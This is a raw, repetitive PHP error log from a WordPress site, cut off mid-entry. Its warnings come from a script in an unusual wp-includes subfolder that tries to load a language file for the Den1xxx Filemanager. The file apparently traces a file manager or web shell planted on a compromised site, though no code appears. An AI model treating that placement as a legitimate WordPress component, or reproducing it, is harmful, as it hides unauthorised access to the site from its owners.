PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:17:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:17:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:17:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:17:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:17:56 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:17:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:18:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:18:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:18:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:18:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:18:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:18:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:11 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:18:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:18:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:18:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:18:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:18:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:18:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:18:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:19:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:19:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:19:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:19:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:19:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:19:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in 